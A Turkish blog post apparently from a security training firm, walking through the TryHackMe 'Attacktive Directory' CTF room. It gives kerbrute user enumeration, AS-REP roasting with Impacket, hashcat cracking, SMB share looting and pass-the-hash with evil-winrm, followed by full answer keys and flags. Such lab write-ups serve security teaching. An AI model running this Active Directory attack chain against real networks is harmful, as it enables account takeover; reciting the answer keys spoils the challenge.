Eğitim Danışmanlık

CTF: TryHackMe- Attacktive Directory Makine Çözümü

7 Kasım 20223 dakika okumaEğitim DanışmanlıkSiber Güvenlik

Bu yazımda TryHackMe platformunda bulunan Attacktive Directory makinesinin çözümünü yapacağım.

TryHackMe platformunda makineye ulaşmak için 2 yöntem vardır.

Birincisi bize verilen ovpn ile kali makinemizde sisteme bağlanmak.

Diğer seçenek de platform üzerindeki AttackBox' ı kullanmak.

Ben makineyi çözerken indirdiğim ovpn ile kali makinemden çözümleri yapacağım.

Makinenin Linki: https://tryhackme.com/room/attacktivedirectory


Makinenin Çözüm Adımları

1. İlk olarak vpn bağlantımızı yapalım o zaman.

Kalide terminalimi açıyorum ve openvpn beratfurkan.ovpn kodunu çalıştırarak vpn bağlantımı sağlıyorum. (beratfurkan.ovpn: İndirdiğim VPN konfigürasyon dosyası)

2. Makineyi çözmeden önce bazı kurulumlar yapmamız gerekiyor. (TryHackMe' nin önerdiği programlar)

Impacket setup:

Windows ağ protokolleri için python ile yazılmış bir koleksiyondur. İçinde bir çok protokol bulunur.(Ethernet, IP, TCP, UDP, ICMP, IGMP, LDAP ARP, IPv4 ve IPv6 Desteği. NMB ve SMB1, SMB2 ve SMB3 TCP, SMB / TCP, SMB / NetBIOS ve HTTP.NTLM ve Kerberos)

  1. git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
  2. pip3 install -r /opt/impacket/requirements.txt
  3. cd /opt/impacket/ && python3 ./setup.py install

Bloodhound and Neo4j setup:

Attacktive Directory'ye saldırırken kullanacağımız başka bir araçtır. Kullanımını detaylı göreceğiz.

  1. apt install bloodhound neo4j
  2. Eğer yüklemede sorun yaşıyorsanız önce bunu çalıştırın: apt update && apt upgrade

3. Şimdi hedef makineyi nmap ile tarayalım.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
nmap -sS -sV -A 10.10.152.203 komutu ile taramamı yaptım.

4. Hangi tool' un 139/445 portlarındaki numaralandırılması için kullanılacağını soruyor. Enum4linux: windows ve samba sistemlerinde enumeration yapmak için kullanılır.

5. Domain name ismini soruyor.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
enum4linux -a 10.10.152.203 komutu ile domain name in THM-AD olduğunu buluyorum.

6. İnsanlar Active Directory Etki Alanları için yaygın olarak hangi TLD'yi kullanır?: .local

7. Kerbrute içindeki hangi komut, geçerli kullanıcı adlarını numaralandırmamıza izin verecek?

Bunu cevaplamak için önce kerbrute programını da indirelim. Bunun için: https://github.com/ropnop/kerbrute/releases adresinden kerbrute' u indiriyorum.
Daha sonra da çalıştırmak için ./kerbrute_linux_amd64 -h diyorum.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
O zaman sorumuzun cevabı userenum

8. Hangi önemli hesabın keşfedildiğini soruluyor. Bunun için kerbrute ile tarama yapacağız.

Ama öncesinde kullanıcı adı ve şifre listelerini indiriyorum (Sitenin verdiği username ve password listeleri)

wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt

wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory -tools/master/passwordlist.txt

Artık taramayı başlatabiliriz

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
./kerbrute_linux_amd64 userenum --dc=10.10.152.203 -d=spookysec.local. userlist.txt
Burada kayda değer kullanıcı ne diye soruyor svc-admin diğeri de backup

9. Şimdi ilk indirdiğimiz impacket aracını kullanacağız.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
python3 /opt/impacket/examples/GetNPUsers.py -no-pass -usersfile /root/Desktop/validuser.txt -dc-ip 10.10.152.203 spookysec.local/
NOT : Tespit edilen kullanıcıları masaüstünde validuser.txt diye bir dosyanın içine yazdım.

Burada scv-admin' in password hash' ini buluyoruz.

Hashcat arama sayfasına gidiyorum: https://hashcat.net/wiki/doku.php?id=example_hashes

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
hash tipinin Kerberos 5, etype 23, AS-REP olduğunu tespit ediyorum. Mod olarak da 18200 olduğunu görüyorum.

O zaman artık svc-admin' in şifresini kıralım. Bunun için hashcat aracını kullanacağım. Masaüstünde hash.txt diye bir dosya oluşturup tespit edilen hash' i içine yapıştırıyorum.

hashcat --force -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Buradan şifrenin:

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
management2005 olduğunu tespit ediyoruz.

10. Uzak SMB paylaşımlarını eşleştirmek için hangi yardımcı programı kullanabiliriz diye soruyor. smbclient' ı kullanabiliriz.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
smbclient -L 10.10.152.203 -U "svc-admin" komutu ile hedef sistem üzerinde paylaşıma açık dizinler görülüyor.
Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
backup dosyasının içinde credentials.txt diye bir dosya buldum içini okuyunca base64 ile şifrelenmiş bir metin buldum bunu da çözdüğüm zaman backup@spookysec.local:backup2517860 ile karşılaştım.

11. Artık ayrıcalık yükseltme yapmamız isteniyor.

Bir araç daha yükleyecez.

sudo gem install evil-winrm

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
admin' in NTLM karmasını soruyor: 0e0363213e37b94221497260b0bcb4fc

Hangi saldırı yöntemi, parola olmadan kullanıcı olarak kimlik doğrulamamıza izin verebilir diye soruyor: pass the hash

evil de hangi seçenek hash kullanmamıza izin verecek: -H

12. Artık bayrakları bulalım.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
evil-winrm aracı sayesinde bayrakları alıyoruz.
1.bayrak: TryHackMe{K3rb3r0s_Pr3_4uth}
2.bayrak: TryHackMe{B4ckM3UpSc0tty!}
3.bayrak: TryHackMe{4ctiveD1rectoryM4st3r}

Tüm cevaplar sırasıyla:

Task 3:

enum4linux
THM-AD
.local

Task 4:

userenum
svc-admin
backup

Task 5:

svc-admin
Kerberos 5, etype 23, AS-REP
18200
management2005

Task 6:

smbclient
-L
6
backup
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
backup@spookysec.local:backup2517860

Task 7:

DRSUAPI
0e0363213e37b94221497260b0bcb4fc
pass the hash
-H

Task 8:

TryHackMe{K3rb3r0s_Pr3_4uth}
TryHackMe{B4ckM3UpSc0tty!}
TryHackMe{4ctiveD1rectoryM4st3r}


Sızma testi alanında eğitimler alarak kendinizi ya da kurum personellerinizi geliştirmek istiyorsanız bizimle iletişime geçebilirsiniz.

Diğer CTF çözümlerinde görüşmek üzere. Bizi takip etmeye devam edin…

Son yazılar

Bu konuda destek

Yazdıklarımız iş yaparken üretilmiş notlardır. Kurumunuz için aynı işi yapabiliriz.

Uzmanla görüşün

Başlayalım

Projenizi konuşalım.

İlk görüşme bir keşif toplantısıdır, satış sunumu değil. Kurumunuzun kendi ortamında yapılacak kısa süreli bir pilot çalışma veya kavram doğrulama (PoC) ile yetkinliğimizi doğrudan değerlendirebilirsiniz.

Teklif formunu doldurun

WhatsApp